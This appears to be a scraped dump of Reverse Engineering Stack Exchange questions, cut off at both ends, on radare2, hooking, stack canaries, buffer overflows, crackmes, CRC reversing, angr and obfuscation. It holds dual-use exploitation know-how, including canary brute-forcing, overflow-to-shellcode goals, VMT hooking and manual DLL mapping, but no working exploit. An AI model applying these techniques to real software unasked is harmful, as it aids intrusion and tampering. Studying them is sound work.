48 8D 35 45 CE FF FF >>> lea rsi, [rip - 0x31bb].
+
+ +How can I get the 0x31bb value from those opcodes and how can I know if I have a + sign or a - sign beetween operands ( rip - 0x31bb or rip + 0x31bb ) ? +" +['radare2']," Title: radare2 how to interpret ascii-art color bars?Body: I can't understand the meaning of ascii-art color bars.
+what is the meaning of the # charaters? + +
[0x08000210]> iS=
+00  0x08000000 |---------------------------------| 0x08000000     0 ---      
+01  0x08000200 |--------------------#------------| 0x0800020d    13 rw-  .data
+02* 0x08000210 |---------------------##----------| 0x08000237    39 r-x  .text
+03  0x08000240 |-----------------------###-------| 0x08000272    50 ---  .shstrtab
+04  0x08000280 |-------------------------#######-| 0x08000310   144 ---  .symtab
+05  0x08000310 |-------------------------------##| 0x0800032a    26 ---  .strtab
+06  0x08000330 |--------------------------------#| 0x08000348    24 ---  .rela.text
+07  0x08000000 |###------------------------------| 0x08000040    64 rw-  ehdr
+=>  0x08000210 |---------------------------------| 0x0800020f
+
+" +"['windows', 'function-hooking']"," Title: Finding ""controller vibration"" function in gameBody: I want to build a ""force feedback chair"" for Need for Speed: Payback, so I thought about hooking the function responsible for the controller vibration and sending the motor speed parameter to a motor over Serial (to an arduino). +I successfully hooked the XInputSetState function (responsible for Controller Vibration) and sent the parameters over usb, and everything worked fine. +The problem is, I want to play the game with a Wheel (Logitech g29). +The ""XInputSetState"" function still gets called, but the motor speed parameter is always 0 (makes sense, if you have two controllers connected to your pc, only the one you're driving with vibrates not the other one). +My Wheel also has no Vibration feedback (so no function that i can hook there). + +So my thought was, that if you for example drive against a wall, the game checks if a Controller is connected, and if it's the case, calls the XInputSetState function with the correct motor speed parameter (so the Controller vibrates). + +For now I tried setting a breakpoint on XInputSetState and moving up the Callstack, to see what function still gets called with the correct motor speed parameter (even if no Controller is present), but my knowledge with reveersing is still very limited so no luck there. + +So how would you go about looking for such a function? +Any tips and hints are welcome. +" +"['exploit', 'stack', 'vulnerability-analysis']"," Title: Why stack canary can be brute-force one byte at a time?Body: I am reading brute-forcing stack canary. But I am confused why the server can be brute-forced one byte at a time on a crashable-server and what does mean this fork-and-accept ? +" +['radare2']," Title: how to use core file in radare2?Body: In gdb i can backtrace with core file and executable file.
+It seems radare2 can read core file. like this + +
$ r2 core
+Setting up coredump: asm.arch <-> x86 and asm.bits <-> 64
+Setting up coredump: Registers have been set
+Setting up coredump: 22 maps have been found and created
+[0x00000000]> 
+
+ +but after that i don't know what to do next?
+I can't find any documentation about using core file in radare2. +" +"['file-format', 'decompress', 'binary-diagnosis']"," Title: Extracting the contents of an unknown archive file formatBody: I need some help and advice here. +I am privately learning on how to reverse engineer +our teachers custom file archive +file that have other files stored inside of them. +for school project. + +But, I am kinda lost on where I need to start with the file. +What do I look for in the file after loading it into ida-pro +To, be able to create my own self extracting Tool for my project. + +The File format is .crackme that has been compressed with files inside of it +from our teacher at school but when I double click on the file it says the file is ""archive either unknown format or damaged"". + +So, yeah the file extension he gave us is not any known on the web +he created his own extension for us to crack it and make an extractor tool +to get all the data from the archive his extension name is "".crackme"" +so yeah. + +Any Advice, here any help to is much appreciated by me. +" +"['gdb', 'memory', 'stack', 'register', 'callstack']"," Title: What is a good resource to learn about how the call stack works while programming in C?Body: Sorry if this is a duplicate and please point me in the right direction if so. I have a strong foundation in C programming and I know how memory is allocated on the stack for variables/arrays/pointers (of all datatypes) etc. I also understand how to use malloc and free to put data on the heap. What I do NOT understand is how all the registers and the call stack fit together with this picture and what each registers is supposed to point to. I am trying to learn this before I start messing with GDB so I actually know what I am looking at. Any good references out there? + +Ultimately this is so I can do a project for my masters where I need to run shellcode by exploiting a buffer overflow vulnerability in a given program. I know how to do a basic buffer overflow by feeding the program more data than allocated but I don't know what/how much data I need to feed the program so that it gets put at the right place in memory in order to execute what is required. +" +"['ida', 'windows', 'debugging', 'linux', 'remote']"," Title: Remote debugger for Linux from one VM (IDA) to another (running the debuggee)Body: I want to debug a Linux program (ELF), but my IDA Pro is on a Windows 10 VM and I want to use remote debugging to debug the program on Ubuntu (also in a VM). + +So, is it possible to debug if both machines are VMs? +" +"['assembly', 'binary-analysis', 'x86', 'gdb', 'libc']"," Title: How can a segfault happen during the libc exit call on Linux?Body: I'm relatively new to reverse engineering, and I've decided to practise using the challenges from pwnable.tw. Currently, I am working on the ""Silver Bullet"" challenge. + +While testing, I have noticed that if the program is run and the user selects option 4, then the program crashes with a segfault instead of exiting cleanly. Testing in GDB confirms that this happens during the ""call exit"" instruction at 0x08048954. + +Reading the manpage for exit, I can see that undefined behaviour can occur in certain circumstances when functions are registered with atexit(3) or on_exit(3). However, I can't see any functions being registered in this way, and I can't see any other way which exit would fail to execute successfully. Why is a segfault happening during the exit call? + +For reference, the surrounding code is: + +
0x080489F1: 
+push    offset aDonTGiveUp ; ""Don't give up !""
+call    puts
+add     esp, 4
+push    0
+call    exit
+push    offset aInvalidChoice ; ""Invalid choice""
+call    puts
+add     esp, 4
+nop
+
+ +Thank you for taking the time to read this. +" +['windows']," Title: How does ASLR in Windows work?Body: I had recently this situation where in a program I was debugging I found: + +
03CD38D4:  8B15 8C5FF703  MOV EDX, DWORD PTR DS:[3F75F8C]
+
+ +If I look for these bytes in the physical file I found nothing. I assumed this is because the reference to 3F75F8C, which might change over each instance of the program, is being randomised by Windows. So I could not change the value directly in an hexed - say change 3F75F8C to 3F75F88 (I suppose I can do it with some math involving the base, though). + + + +
+ +EDIT + +As per the answer, what I undestood is that Windows will look into the .reloc section and will change one by one the references pointed in the section based on the random base. Then, if I modify the bytes of the instruction, since they have been defined in the .reloc section, my new bytes will be modified (probably I am wrong, but this is what I understood) + +However, I am not able to find out how Windows ""obtains"" the instruction: + +
03CD38D4:  8B15 8C5FF703  MOV EDX, DWORD PTR DS:[3F75F8C]
+
+ +Which is in file offset 482CD4 stored as: + +
MOV EDX, DWORD PTR DS:[B25F8C]
+
+ +The image base is 400000 and base of code 1000. + +I cannot find anything in the .reloc section that points to 03CD38D4,482CD4 or similar. +" +"['linux', 'gcc', 'x86-64']"," Title: Unknown parameters in custom signal handler on LinuxBody:
   0x0000000008001946:  mov    0xa8(%rdx),%rax
+   0x000000000800194d:  lea    0x28(%rdx),%rsi
+   0x0000000008001951:  lea    0x2(%rax),%rdi
+   0x0000000008001955:  add    $0xe,%rax
+   0x0000000008001959:  mov    %rax,0xa8(%rdx)
+   0x0000000008001960:  jmpq   0x8001ee0
+
+ +Above is the full disassembly of a signal handler which is customarily set by the program which I'm looking into, i.e., the program registers the signal handler and immediately invokes it by raising a SIGILL using the opcode ud2. + +The signal handler is registered here: + +
   0x8001965:   push   %rbx
+   0x8001966:   xor    %eax,%eax
+   0x8001968:   mov    $0x26,%ecx
+   0x800196d:   sub    $0xa0,%rsp
+   0x8001974:   lea    0x8(%rsp),%rdi
+   0x8001979:   rep stos %eax,%es:(%rdi)
+   0x800197b:   lea    -0x3c(%rip),%rax        # 0x8001946
+   0x8001982:   lea    0x10(%rsp),%rdi
+   0x8001987:   movl   $0x8000004,0x90(%rsp)
+   0x8001992:   mov    %rax,0x8(%rsp)
+   0x8001997:   callq  0x8000f60 <sigfillset@plt>
+   0x800199c:   xor    %edx,%edx
+   0x800199e:   test   %eax,%eax
+   0x80019a0:   jne    0x80019bb
+   0x80019a2:   lea    0x8(%rsp),%rbx
+   0x80019a7:   xor    %edx,%edx
+   0x80019a9:   mov    $0x4,%edi
+   0x80019ae:   mov    %rbx,%rsi
+   0x80019b1:   callq  0x8000f90 <sigaction@plt>
+
+ +Where 0x8001946 is the address of the handler, as disassembled prior to that in the first code-block. + +My question is regarding the first instruction of the signal handler which appears to make no sense at all, and I can't debug it since I can't put a breakpoint on it: + +
0x0000000008001946:  mov    0xa8(%rdx),%rax
+
+ +%rdx is defined by the ABI as the third parameter passed to a function, and as defined by sigaction the third argument of sa_sigaction is a void * (a casted ucontext_t structure) but there is no 0xa8th index into the definition of a struct ucontext_t, which leads me to believe it's something else. + +I thought it might be an %rdx set before the ud2 instruction is called: + +
   0x0000000008000fde:  test   %al,%al
+   0x0000000008000fe0:  mov    $0x2,%edx
+   0x0000000008000fe5:  je     0x8001028
+   0x0000000008000fe7:  movslq %ebx,%rdi
+   0x0000000008000fea:  mov    %rbp,%rsi
+   0x0000000008000fed:  callq  0x8001190
+
+ +But prior to the call to 0x80001190 (the bug), %rdx only contains $0x2. So I'm even more confused. + +Could anyone shed some light on what %rdx could contain at 0x8001946 after a SIGILL is raised, and the signal is passed off to the custom handler defined at that address? +" +"['dynamic-linking', 'pe32', 'compiler-optimization']"," Title: There is something else than a ""DllMain"" in a module for its initialization?Body: All right, Actually I am manually mapping a module into a process, actually my mapper calls DllEntryPoint from standard struct IMAGE_NT_HEADERS thus IMAGE_NT_HEADERS::OptionalHeader::AddressOfEntryPoint etc... + +The problem: +consider following code: + +
void Log(const char*, ...);
+
+
+class Test
+{
+    private:
+        struct List_t
+        {
+            const uint32_t x;
+            const uint32_t y; 
+        } List;
+
+    public:
+        Test(List_t z) : List(z) { Log(""Called event 0! \n""); }
+        ~Test() {}
+};
+
+
+
+void Entry()
+{
+    Test Instance
+    (
+        {
+            0x200,
+            0x400
+        }
+    );
+
+    Log(""Called! \n"");  
+}
+
+
+BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
+{
+
+    if(fdwReason == 1)
+        Entry();
+
+    return TRUE;
+}
+
+ +so if the module entry point gets called through IMAGE_NT_HEADERS::OptionalHeader::AddressOfEntryPoint from mapper, the constructor Test() never gets executed, while that Entry() function gets executed successfully, now if the module it's loaded with standard LoadLibraryA(); so Test() constructor gets called successfully... + +Where i would find some information about this? + +I have heard something about CRT initializers, but i can't find anything deeply... +" +"['disassembly', 'disassemblers', 'multi-process']"," Title: Why disassemble multi-thread binary is hard?Body: Why disassemble multi-thread binary is hard? I also know that some obfuscation techniques are to create unnecessary threads. But why reverse engineering multi-thread program is hard. +" +"['assembly', 'c']"," Title: why code at .rodata executesBody: How come the following code executes if buf* is @ rodata segment ? + +
#include <stdio.h>
+
+char *buf[] = {
+""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
+\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
+\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
+\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
+\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
+\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
+\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
+\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
+\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
+\xc3 IS THIS DATA?""
+};
+char arr_chr[500] = ""I AM READ_WRITE"";
+
+int main(){
+    ((void (*)()) buf[0])();
+
+    printf(""%s\n"", buf[0]);
+    printf(""%s\n"", arr_chr);
+}
+
+ +compiled with gcc version 7.3.0 without flags @ x86_64-linux-gnu + +file's output: + +check: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, not stripped + + +" +"['binary-analysis', 'x86', 'encryption']"," Title: XOR encryption - How to find the key?Body: I'm trying to solve a crackme which basically uses a XOR encryption scheme in which the password is used as the key to an encrypted buffer which is subsequently executed. The following is the encrypted buffer: + +
0x4F, 0x12, 0x85, 0x7C, 0x96, 0x2E, 0x29, 0x54, 0x45, 0x41, 0x15, 0x10, 
+
+0xF1, 0x12, 0x87, 0x1C,
+0xF3, 0x27, 0x27, 0x46, 0x56, 0x2D, 0x54, 0x2D, 0x41, 0x5D, 0x23, 0x31, 0x49, 0x5C, 0x2F, 0x21,
+0x46, 0xF6, 0x92, 0x2E, 0x6D, 0x54, 0xBA, 0x90, 0x25, 0x23, 0x36, 0x21, 0x5C, 0x47, 0x21, 0x46,
+0x4F, 0x46, 0x16, 0x94, 0x98, 0x2D, 0x01, 0x4D, 0xDC, 0xE0, 0xE7, 0x5C, 0x76, 0xE7, 0xC6, 0x4E,
+0x46, 0x46, 0x2D, 0x3B, 0x83, 0xC1, 0x4F, 0x23, 0x31, 0x21, 0x29, 0xE9, 0xA1, 0x45, 0x4F, 0x46,
+0x46, 0x0D, 0x92, 0xC5, 0x45, 0x4D, 0x23, 0x31, 0x45, 0x9A, 0xAF, 0x24, 0x46, 0x4F, 0x46, 0x2F,
+0xEB, 0xD4, 0x43, 0x41, 0x4D, 0x23, 0x55, 0xE7, 0xDC, 0x28, 0x21, 0x46, 0x4F, 0x66, 0x80, 0xAD,
+0x5C, 0x45, 0x41, 0x4D, 0x4A, 0xF7, 0xA1, 0x55, 0x2F, 0x21, 0x46, 0x3B, 0x80, 0xC6, 0x27, 0x54,
+0x45, 0x41, 0x6C, 0xE5, 0xB1, 0x2A, 0x5C, 0x2F, 0x21, 0x46, 0x89, 0xC6, 0x56, 0x2D, 0x54, 0x45,
+0x09, 0x8B, 0xA3, 0x20, 0x21, 0x5C, 0x2F, 0x40, 0x80, 0xCF, 0x54, 0x46, 0x2D, 0x54, 0x31, 0x87,
+0xCD, 0x30, 0x31, 0x21, 0x5C, 0x5C, 0xE7, 0xC6, 0x5B, 0x46, 0x46, 0x2D, 0x74, 0x83, 0xC1, 0x58,
+0x23, 0x31, 0x21, 0x33, 0xE9, 0xA1, 0x50, 0x4F, 0x46, 0x46, 0x4B, 0x92, 0xC5, 0x56, 0x4D, 0x23,
+0x31, 0x47, 0x9A, 0xAF, 0x39, 0x46, 0x4F, 0x46, 0x66, 0xEB, 0xD4, 0x5C, 0x41, 0x4D, 0x23, 0x45,
+0xE7, 0xDC, 0x35, 0x21, 0x46, 0x4F, 0x29, 0x80, 0xAD, 0x4F, 0x45, 0x41, 0x4D, 0x03, 0xF7, 0xA1,
+0x40, 0x2F, 0x21, 0x46, 0x36, 0x80, 0xC6, 0x30, 0x54, 0x45, 0x41, 0x22, 0xE5, 0xB1, 0x3F, 0x5C,
+0x2F, 0x21, 0x33, 0x89, 0xC6, 0x59, 0x2D, 0x54, 0x45, 0x61, 0x8B, 0xA3, 0x11, 0x21, 0x5C, 0x2F,
+0x4C, 0x80, 0xCF, 0x67, 0x46, 0x2D, 0x54, 0x24, 0x87, 0xCD, 0x01, 0x31, 0x21, 0x5C, 0x5B, 0xE7,
+0xC6, 0x6C, 0x46, 0x46, 0x2D, 0x31, 0x83, 0xC1, 0x69, 0x23, 0x31, 0x21, 0x72, 0xE9, 0xA1, 0x63,
+0x4F, 0x46, 0x46, 0x0D, 0x92, 0xC5, 0x67, 0x4D, 0x23, 0x31, 0x71, 0x9A, 0xAF, 0x06, 0x46, 0x4F,
+0x46, 0x2A, 0xEB, 0xD4, 0x6D, 0x41, 0x4D, 0x23, 0x54, 0xE7, 0xDC, 0x06, 0x21, 0x46, 0x4F, 0x27,
+0x80, 0xAD, 0x7E, 0x45, 0x41, 0x4D, 0x50, 0xF7, 0xA1, 0x77, 0x2F, 0x21, 0x46, 0x2A, 0x80, 0xC6,
+0x01, 0x54, 0x45, 0x41, 0x6D, 0xE5, 0xB1, 0x0C, 0x5C, 0x2F, 0x21, 0x35, 0x89, 0xC6, 0x68, 0x2D,
+0x54, 0x45, 0x24, 0x8B, 0xA3, 0x1E, 0x21, 0x5C, 0x2F, 0x4F, 0x80, 0xCF, 0x76, 0x46, 0x2D, 0x54,
+0x21, 0x87, 0xCD, 0x12, 0x31, 0x21, 0x5C, 0x0F, 0xE7, 0xC6, 0x7D, 0x46, 0x46, 0x2D, 0x2D, 0x83,
+0xC1, 0x7E, 0x23, 0x31, 0x21, 0x33, 0xE9, 0xA1, 0x72, 0x4F, 0x46, 0x46, 0x58, 0x92, 0xC5, 0x74,
+0x4D, 0x23, 0x31, 0x53, 0x9A, 0xAF, 0x17, 0x46, 0x4F, 0x46, 0x66, 0xEB, 0xD4, 0x72, 0x41, 0x4D,
+0x23, 0x42, 0xE7, 0xDC, 0x17, 0x21, 0x46, 0x4F, 0x29, 0x80, 0xAD, 0x6D, 0x45, 0x41, 0x4D, 0x4F,
+0xF7, 0xA1, 0x66, 0x2F, 0x21, 0x46, 0x3A, 0x80, 0xC6, 0x16, 0x54, 0x45, 0x41, 0x39, 0xE5, 0xB1,
+0x1D, 0x5C, 0x2F, 0x21, 0x2F, 0x89, 0xC6, 0x7B, 0x2D, 0x54, 0x45, 0x2E, 0x8B, 0xA3, 0x0F, 0x21,
+0x5C, 0x2F, 0x4F, 0x80, 0xCF, 0x79, 0x46, 0x2D, 0x54, 0x65, 0x87, 0xCD, 0x63, 0x31, 0x21, 0x5C,
+0x5B, 0xE7, 0xC6, 0x0E, 0x46, 0x46, 0x2D, 0x3B, 0x83, 0xC1, 0x0F, 0x23, 0x31, 0x21, 0x7C, 0xE9,
+0xA1, 0x05, 0x4F, 0x46, 0x46, 0x49, 0x92, 0xC5, 0x05, 0x4D, 0x23, 0x31, 0x42, 0x9A, 0xAF, 0x64,
+0x46, 0x4F, 0x46, 0x34, 0xEB, 0xD4, 0x03, 0x41, 0x4D, 0x23, 0x50, 0xE7, 0xDC, 0x68, 0x21, 0x46,
+0x4F, 0x25, 0x80, 0xAD, 0x1C, 0x45, 0x41, 0x4D, 0x48, 0xF7, 0xA1, 0x15, 0x2F, 0x21, 0x46, 0x7D,
+0x80, 0xC6, 0x67, 0x54, 0x45, 0x41, 0x7D, 0xE5, 0xB1, 0x6A, 0x5C, 0x2F, 0x21, 0x76, 0x89, 0xC6,
+0x0A, 0x2D, 0x54, 0x45, 0x76, 0x8B, 0xA3, 0x7C, 0x21, 0x5C, 0x2F, 0x61, 0x80, 0xCF, 0x08, 0x46,
+0x2D, 0x54, 0x22, 0x87, 0xCD, 0x6C, 0x31, 0x21, 0x5C, 0x42, 0xE7, 0xC6, 0x1F, 0x46, 0x46, 0x2D,
+0x35, 0x83, 0xC1, 0x1C, 0x23, 0x31, 0x21, 0x35, 0xE9, 0xA1, 0x14, 0x4F, 0x46, 0x46, 0x41, 0x92,
+0xC5, 0x12, 0x4D, 0x23, 0x31, 0x0F, 0x9A, 0xAF, 0x75, 0x46, 0x4F, 0x46, 0x25, 0xEB, 0xD4, 0x10,
+0x41, 0x4D, 0x23, 0x5E, 0xE7, 0xDC, 0x79, 0x21, 0x46, 0x4F, 0x2B, 0x80, 0xAD, 0x03, 0x45, 0x41,
+0x4D, 0x23, 0x59, 0x21, 0x5C, 0x2F, 0x21, 0x16, 0xCC, 0x86, 0x56, 0x7D, 0x3C, 0x45, 0x41, 0x4D,
+0x23, 0x88, 0x05, 0x33, 0x6F, 0x21, 0xB9, 0x9E, 0x85, 0x8D, 0x40, 0x00, 0x30, 0x74, 0x40, 0x00,
+0x50, 0x73, 0x40, 0x00, 0x5C, 0x0F, 0x41, 0x00, 0x98, 0x73, 0x40, 0x00, 0x98, 0x72, 0x40, 0x00,
+0x80, 0x74, 0x40, 0x00, 0xC0, 0x74, 0x40, 0x00, 0x28, 0x75, 0x40, 0x00, 0x0C, 0xD3, 0x41, 0x00,
+0x34, 0x00, 0x46, 0x00, 0x50, 0x74, 0x40, 0x00, 0x94, 0xD3, 0x41, 0x00, 0xAC, 0xD3, 0x41, 0x00,
+0x64, 0xD2, 0x41, 0x00, 0x28, 0x00, 0x46, 0x00, 0xD0, 0x73, 0x40, 0x00, 0xE4, 0xD2, 0x41, 0x00,
+0x10, 0xE0, 0x45, 0x00, 0x38, 0x75, 0x40, 0x00, 0x44, 0x00, 0x46, 0x00, 0x08, 0x00, 0x46, 0x00,
+0x2C, 0xD2, 0x41, 0x00, 0x8C, 0xD3, 0x41, 0x00, 0x10, 0x75, 0x40, 0x00, 0x7C, 0xD3, 0x41, 0x00
+
+ +Upon receiving user input, the program checks its length and if it's different than 15 it aborts execution. So I know for a fact that the key is 15 characters long, so far so good. After the decrypting the buffer the following sequence of comparations takes place: + +
mov     eax, [ebp+decrypted_buffer]
+mov     [ebp+var_4], eax
+mov     eax, [ebp+decrypted_buffer]
+cmp     byte ptr [eax], 60h ; 
+jnz     short invalid_key
+
+mov     eax, [ebp+decrypted_buffer]
+cmp     byte ptr [eax+4], 0D0h
+jnz     short invalid_key
+mov     eax, [ebp+decrypted_buffer]
+cmp     byte ptr [eax+9], 0
+jnz     short invalid_key
+
+ +Since the 1st, 5th and 10th bytes of the decrypted buffer are expected to be 0x60, 0x0D0, 0x0 we can find the 1st, 5th and 9th bytes of the key, namely: 0x2F, 0x46, 0x41 + +So the right key should be something like: ""/***F****A*******"" + +My question is: How do I find the rest of the key? +" +"['ida', 'malware']"," Title: ida pro issue debugging issues with ntdllBody: I am using IDA pro to follow along a youtube video of RE from OALabs. https://www.youtube.com/watch?v=kdNQhfgoQoU&t=1575s + +I am facing a problem when i try to put a break point on functions in ntdll, when i double click c:\windows\system32\ntdll.dll in the modules windows I get warning saying ""Module c:\windows\system32\ntdll.dll has no names"". When i right click on c:\windows\system32\ntdll.dll in the modules window and select load debug symbols, it downloads something but I am still not able to see the functions i would like to put break point on like NtResumeThread. + +Appreciate any assistance or suggestions. Pic attached for reference. +" +['decompress']," Title: Decompressing a .replay fileBody: Fortnite has a feature that records your gameplay and saves it as a .replay file, now I don't believe these files are encrypted, only compressed. + +I wasn't able to find a way online to decompress such files and I'd like to know how, and if there's a possibility of decompressing then re-compressing the files again. +I'd like to also know if there's any suggestions to programs that does the job + +Here's the beginning of the file in HexEditor + + +Link for the file (mediafire) + +I've done some testing (replacing values and checking if anything changes) and found a few things: + +(Not sure if they would be any useful but thought I'd still share) + +EDIT: I'm trying to end up with something like this + +" +['x64dbg']," Title: Debugger always paused in ntdll.KifastsystemcallretBody: I am using x32dbg to debug a program. I want to find the line which corresponds to a pop up message in my program to put a Break point. +But everytime that I set ""Pause"" after the pop up window's opening the program stops in Kifastsystemcallret in ntdll module. +I succeed one time to set a Break point and to work it fine, but I can't do it anymore... +I don't understand... +Thanks for advance for answering and sorry for my bad english and capacities in debugging... + +
+ +Thanks for your answer... I've uploaded two photos... The first shows the call stacks ; the second the KiFastSystemCallRet... I don't know where down the line I will return. +I've tried to type all the expression adresses without any success... + + +" +['x64dbg']," Title: Print opcodes in trace - x64dbgBody: How can I print the opcodes in a trace log? + +I can use {x:bswap([cip])} but this will print a fix amount of bytes (which most of the time will end up as either more or less number of bytes), regardless of the ones that the instruction does have +" +['.net']," Title: .NET Method Tracing with ParametersBody: Is there a tool which can profile the .NET binaries (32-bit and 64-bit) during execution to generate an API trace providing details of the methods called and the parameters passed to each method? + +Since .NET is JIT based, I think it should be feasible to do. + +An API trace in the following format would be desirable: + +
<Address 1> <Method 1> <Parameter 1, Parameter 2>
+<Address 2> <Method 2> <Parameter 1, Parameter 2>
+....
+<Address N> <Method N> <Parameter 1, Parameter 2>
+
+ +And an extension of this question. Is there a tool which can provide the similar information for each Windows API called by the .NET Binary as well? +" +"['function-hooking', 'hooking']"," Title: Why does vmt hooking not work with instance member in the following case?Body: Why does the function not get hooked when called with instance member obj.myFunc() ? + +
class Myclass
+{
+
+public:
+    virtual void myFunc() = 0;
+
+};
+class Derived : public Myclass
+{
+public:
+    void myFunc()
+    {
+        std::cout << ""Actual method is called"" << std::endl;
+    }
+};
+
+    void __fastcall hk_myFunc(void* thisPtr, int edx)
+    {
+        std::cout << ""Hooked method is called"" << std::endl;
+    }
+
+typedef void(__thiscall *fPtr)();
+
+int main()
+{
+    Derived* ptr = new Derived();
+    ptr->myFunc();// Output : Actual method is called.
+    void** vTPtr = *(reinterpret_cast<void ***>(ptr));
+    DWORD oldProtection;
+    VirtualProtect(vTPtr, 4, PAGE_EXECUTE_READWRITE, &oldProtection);
+    *vTPtr = reinterpret_cast<fPtr>(&hk_myFunc);
+    VirtualProtect(vTPtr, 4, oldProtection, 0);
+    ptr->myFunc(); //Output: Hooked method is called
+    Derived obj = *ptr;
+    obj.myFunc(); // Output : Actual method is called. Why ??
+    return 0;
+}
+
+" +['crc']," Title: CRC8 reverse engineeringBody: I am creating a CAN Bus on-bench testing solution which replicates the entire vehicle to test a single module. I have a number of messages that require a CRC byte in order to be valid. The messages are in little-endian byte order, and the CRC value is held in byte 0. I have collected valid messages with a changing 4 bit alive-counter along with their CRC byte with the hope someone can help. I have tried CRC reveng, but either do not know hot to use it correctly or it is unable to find the polynomial, as it shows ""No models found"" when searching. + +For reference, I found documentation that suggests the polynomial used is the standard SAE J1850 CRC8 polynomial x^8 + x^4 + x^3 + x^2 + 1, with a CRC-ID in decimal of 166 (stated as used for the low byte). I have also tried with the online calculator available here: http://www.sunshine2k.de/coding/javascript/crc/crc_js.html, but cannot get the correct result. + +If anyone could provide some assistance, I would greatly appreciate it. I would like help in clarifying the correct polynomial, along with any other relevant parameters. Here are a list of values captured: + +CRC in Byte0 + +This is the text version of above. I've separated the CRC value in byte 0 from the rest of the message for clarity. + +
57   0000C0F0C1FFFF
+0A   0100C0F0C1FFFF
+ED   0200C0F0C1FFFF
+B0   0300C0F0C1FFFF
+3E   0400C0F0C1FFFF
+63   0500C0F0C1FFFF
+84   0600C0F0C1FFFF
+D9   0700C0F0C1FFFF
+85   0800C0F0C1FFFF
+D8   0900C0F0C1FFFF
+3F   0A00C0F0C1FFFF
+62   0B00C0F0C1FFFF
+EC   0C00C0F0C1FFFF
+B1   0D00C0F0C1FFFF
+56   0E00C0F0C1FFFF
+
+" +"['linux', 'arm', 'elf']"," Title: Process Immediately KilledBody: I'm trying to reverse an ARM executable. It's for an embedded system, but I don't have any details about the normally targeted environment. + +Here's what file shows: ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped + +I've tried running it on Linux using qemu and the process immediately terminates with the message ""Killed"". Running strace ./executable returns this: + +execve(""./executable"", [""./executable""], [/*13 vars */] <unfinished ...> ++++ killed by SIGKILL +++ +Killed + +I'm using the Debian Wheezy image from here: https://people.debian.org/~aurel32/qemu/armel/ + +Any ideas why this is happening? +" +"['ida', 'file-format']"," Title: finding file I/O in IDA Pro (actually IDA free)Body: Am using the free version of IDA pro, and have loaded the program with no apparent problems. I see assembler and stuff. + +The parts of the program I am interested in is where it reads a file. This is a binary file that (I assume) goes into some data structure. I am trying to find out the binary format used in the file. + +Is there some simple way to find the relevant parts of the code? + +Edit: it is a Windows program, not very old, and I am using Linux (if that matters). +" +['angr']," Title: Solve a function with angrBody: Look at this c program: + +
#include <stdio.h>
+
+int my_function(int a, int b);
+
+int my_function(int a, int b)
+{
+    // Imagine a very complex calculation on 'a' and 'b'
+    if (a==0x41 && b==0x42)
+    {
+        return 1;
+    }
+    return 0;
+}
+
+
+int main(int argc , char *argv[])
+{
+    int c = 10;
+    int d = 10;
+    // Lot of stuff, including UI
+    if (my_function(c,d)==1)
+    {
+        printf(""Good\n"");
+    }
+    else
+    {
+        printf(""Wrong !\n"");
+    }
+    return 0;
+}
+
+ +Suppose i have compiled this program and i do not have source code. + +Here is what is see with a disassembler: + +
...
+0x00001180      e8b0ffffff     call sym.my_function
+....
+
+|           ; var int local_8h @ rbp-0x8
+|           ; var int local_4h @ rbp-0x4
+|           ; CALL XREF from 0x00001180 (main)
+|           0x00001135      55             push rbp
+|           0x00001136      4889e5         mov rbp, rsp
+|           0x00001139      897dfc         mov dword [local_4h], edi
+|           0x0000113c      8975f8         mov dword [local_8h], esi
+|           0x0000113f      837dfc41       cmp dword [local_4h], 0x41  ; [0x41:4]=0x4000000 ; 'A'
+|       ,=< 0x00001143      750d           jne 0x1152
+|       |   0x00001145      837df842       cmp dword [local_8h], 0x42  ; [0x42:4]=0x40000 ; 'B'
+|      ,==< 0x00001149      7507           jne 0x1152
+|      ||   0x0000114b      b801000000     mov eax, 1
+|     ,===< 0x00001150      eb05           jmp 0x1157
+|     |||   ; JMP XREF from 0x00001143 (sym.my_function)
+|     |||   ; JMP XREF from 0x00001149 (sym.my_function)
+|     |``-> 0x00001152      b800000000     mov eax, 0
+|     |     ; JMP XREF from 0x00001150 (sym.my_function)
+|     `---> 0x00001157      5d             pop rbp
+\           0x00001158      c3             ret
+
+ +What i want to do is to write a python/angr program which will try to solve this function and tell me which argument i should send to the function in order to return 1. + +In other words, i want to ask angr this question: + +""Start your analyse at 0x00001135 address. +Tell me what i should put in rbp-0x8 and rbp-0x4 memory addresses in order to reach 0x0000114b code"". + +Thanks + +* EDIT WITH STRING * + +
#include <stdio.h>
+#include <string.h>
+
+int my_function(char *s);
+
+int my_function(char *s)
+{
+        if (strlen(s)!=4)
+        {
+                return 0;
+        }
+
+        for (int i=0;i<4;i++)
+        {
+                s[i]++;
+        }
+
+        if (strncmp(s,""b{fs"",4)==0)
+        {
+                return 1;
+        }
+        return 0;
+}
+
+
+int main(int argc , char *argv[])
+{
+        if (my_function(argv[1])==1)
+        {
+                printf(""Good\n"");
+        }
+        else
+        {
+                printf(""Wrong !\n"");
+        }
+        return 0;
+}
+
+" +"['ida', 'assembly', 'hash-functions']"," Title: How to detect md5 and sha256?Body: I use FindCrypt2 Ida plugin but it detect md4 and not md5 , and not detect sha256. + +
    +
  1. How can I detect md5 in assembly?
  2. +
  3. How can I detect sha256 in assembly?
  4. +
+ +thanks +" +"['obfuscation', 'deobfuscation']"," Title: What's this obfuscation technique?Body: I'm reverse-engineering a particular dylib on Mac OS X. The dylib is highly obfuscated, but I suspect it's from some well-known technique that I'm not aware of. + +I'd like to describe it in the hope that someone here could identify it: + +
    +
  1. There are junk instructions inserted everywhere, and every basic block is split by a lot of unconditional jump (but no opaque predicate is used).
  2. +
  3. At its core, it looks like a obfuscated VM. It behaves like this:
  4. +
+ +At entry, it push a starting value on the stack, then call an entry point: + +
000000010013E070 68 5C 98 42 11                          push    1142985Ch
